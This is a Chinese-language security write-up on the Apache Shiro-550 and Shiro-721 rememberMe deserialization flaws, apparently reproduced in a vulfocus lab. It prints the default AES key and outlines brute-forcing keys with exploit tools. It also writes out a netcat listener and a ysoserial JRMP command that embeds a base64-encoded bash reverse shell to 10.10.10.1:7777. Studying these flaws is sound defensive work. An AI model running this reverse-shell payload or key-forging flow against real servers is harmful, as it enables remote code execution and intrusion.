内容:
shiro550反序列化漏洞
shiro721反序列化漏洞
shiro550反序列化漏洞
CVE-2016-4437是一个影响Apache Shiro的漏洞,这是一个广泛使用的Java安全框架,提供认证、授权、加密和会话管理功能。该漏洞存在于Apache Shiro的1.0.0至1.2.4版本中,主要原因是程序未能正确配置’remember me’功能使用的密钥。攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。
受影响范围:
Apache Shiro <=1.2.4
漏洞原理及利用流程:
当用户在使用Apache Shiro进行身份验证时,如果勾选了’remember me’选项,系统会经过序列化->AES加密->base64->cookie生成一个remember me的cookie字段用于之后的身份认证,在之后的认证中浏览器都会向服务器发送该字段(如下图),服务器经过base64解码->AES解密->反序列化获得到记录的信息进行身份认证,而这里AES加密的密钥采用硬编码的密钥甚至是默认密钥进行加密,也就是所有经过这步骤生成的remeber me都是经过同一个密钥进行加密,不是随机生成的,导致爆破密钥就成为了可能,如果密钥被爆破出来,攻击者就能利用密钥和可以利用的java链伪造恶意的序列化数据,而服务端收到恶意序列化数据后就会对其进行反序列化,攻击者就能利用这个反序列化得到的java链执行命令。
下面是在序列化后,AES加密的AES密钥获取过程:可以看到这个密钥是被写死的
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
漏洞的关键点有两个:
1.序列化内容可控,在反序列化过程中造成java反序列化漏洞,攻击者通过构造java链,会造成命令执行等危害
2.过度相信AES加密的序列化内容,而在默认情况下AES密钥使用的是默认密钥kPH+bIxk5D2deZiIxcaaaA==,或者能够预测或可爆破出来的危险密钥,也就是攻击者可以利用已知的密钥伪造序列化内容。
不过漏洞利用的关键点还有:
1.使用哪条java链来构造序列化数据
2.通过什么回显方式查看执行内容
漏洞利用流程
根据上述的漏洞分析,就得到下面的漏洞利用流程:
- 识别该中间件是否是shiro
- 判断是否是存在漏洞的版本
- 爆破AES密钥
- 判断java链的使用
- 判断以那种web容器方式构造回显
- 构造payload(序列化->AES加密->base64编码)
- 漏洞利用
自动化漏洞利用流程
使用工具shiro_attack-2.0
填入检测目标后,依次爆破出AES密钥,java利用链及回显方式,爆破出来后直接转命令执行,执行命令就行
测试可以执行命令后,尝试建立反弹shell
先在vps上建立监听nc -lvnp 7777
收到反弹shell
不过直接执行命令的方式无法解决payload过程导致的一些问题
解决payload过长的方式:
- 使用urlclassloader加载远程字节码
- 将字节码放在post的body中,恶意类实现加载body中的字节码即可.
漏洞利用方式二—构造JRMP请求
可以用ysoserial构造RMI远程对象调用的payload,并用ysoserial部署RMI服务,该方法的原理是利用反序列化漏洞使服务器调用恶意的远程方法来执行命令。
JRMP,全称为Java Remote Method Protocol(Java远程方法协议),是专门为Java技术设计的用于查找和引用远程对象的协议。它是Java远程方法调用(RMI)的基础通信协议,运行在TCP/IP之上,用于在客户端和服务器之间传递序列化的对象。JRMP协议规定了客户端和服务端通信时需要满足的规范,类似于HTTP协议在Web通信中的作用。在RMI中,对象是通过序列化方式进行编码和传输的,而JRMP则定义了这些序列化对象的格式和传输方式
nc -lvnp 7777建立监听
将反弹shell转换下避免出现特殊字符导致的问题
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzc3NzcgMD4mMSI=}|{base64,-d}|{bash,-i}" > EXP
把EXP用爆破出来的AES密钥加密后base64编码,复制到rememberMe中。
服务器:
rememberMe->base64解码->AES解密->反序列化->执行反序列化出的对象的方法->向JRMP服务器请求恶意代码并执行->反弹shell连接到10.10.10.1:7777
从Shiro550到Shiro721
在shiro550漏洞爆出后官方修复了该漏洞,修复shiro550漏洞的方法想必大家也应该能想到,就是不使用固定的AES密钥,在每次加密时都使用随机密钥进行加密。下面是修复后的代码,可以看见这里在每次生成RememberMe字段是都用了一个方法来生成AES密钥,这个方法是官方写好的一个生成随机密钥的方法:
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}
不过虽然这样修复了但是Apache shiro这里使用AES-128-CBC模式加密的rememberMe字段,针对这种加密模式其实已经出现攻击方式——Padding oracle attack,这是一种类似于sql盲注攻击的攻击方法,由于对该加密模式在解密时会对解密后的内容进行填充块(padding)校验,只有符合预期的padding才会被认为是合法的分组,由于Apache Shiro对合法分组(返回值200)和不合法分组(返回值500)返回值不同,就可以利用类似sql布尔盲注的方式猜测出一个初始向量IV(这个初始向量和下组密文可以用来猜测下一个向量又叫中间值(intermediary)),通过CBC模式对分组加密数据块解密后的填充校验来获取intermediary(一个加密时用到的中间值),中间值再和前一组密文异或便会得到本组明文。
由于涉及AES-CBC加密和Padding Oracle Attack,这里只谈了攻击流程,关于Padding Oracle Attack的具体细节可以看看下面这几篇文章:
https://goodapple.top/archives/261
https://goodapple.top/archives/217
https://www.packetmania.net/2020/12/01/AES-CBC-PaddingOracleAttack
https://en.wikipedia.org/wiki/Padding_oracle_attack
Shiro-721漏洞复现
Shiro-721漏洞,也被称为Apache Shiro Padding Oracle 远程命令执行漏洞,是一个针对Apache Shiro安全框架的漏洞。该漏洞允许攻击者通过精心构造的Padding Oracle Attack来破解AES-128-CBC模式加密的rememberMe字段,并实现反序列化攻击,最终可能导致任意代码执行。
这里不细讲漏洞原理,漏洞原理涉及密码学AES-CBC加密算法的Padding Oracle Attack攻击方式,通过过猜测出初始向量IV(类似于salt盐值的东西),逐步猜测出填充值,最终恢复出完整的明文数据。一旦获得了足够的信息,就可以构造一个新的rememberMe字段,其中包含恶意的序列化对象。
造成可用Padding Oracle Attack攻击方式主要原因就是该漏洞产生的主要原因即回对正确错误的解密结果返回两种结果,造成bool猜测
漏洞复现
靶场是vulfocus—Shiro-721
使用工具ShiroExploit.V2.51
注意:这个攻击过程特别漫长
参考文章:
https://goodapple.top/archives/261
https://goodapple.top/archives/217
https://www.packetmania.net/2020/12/01/AES-CBC-PaddingOracleAttack
https://en.wikipedia.org/wiki/Padding_oracle_attack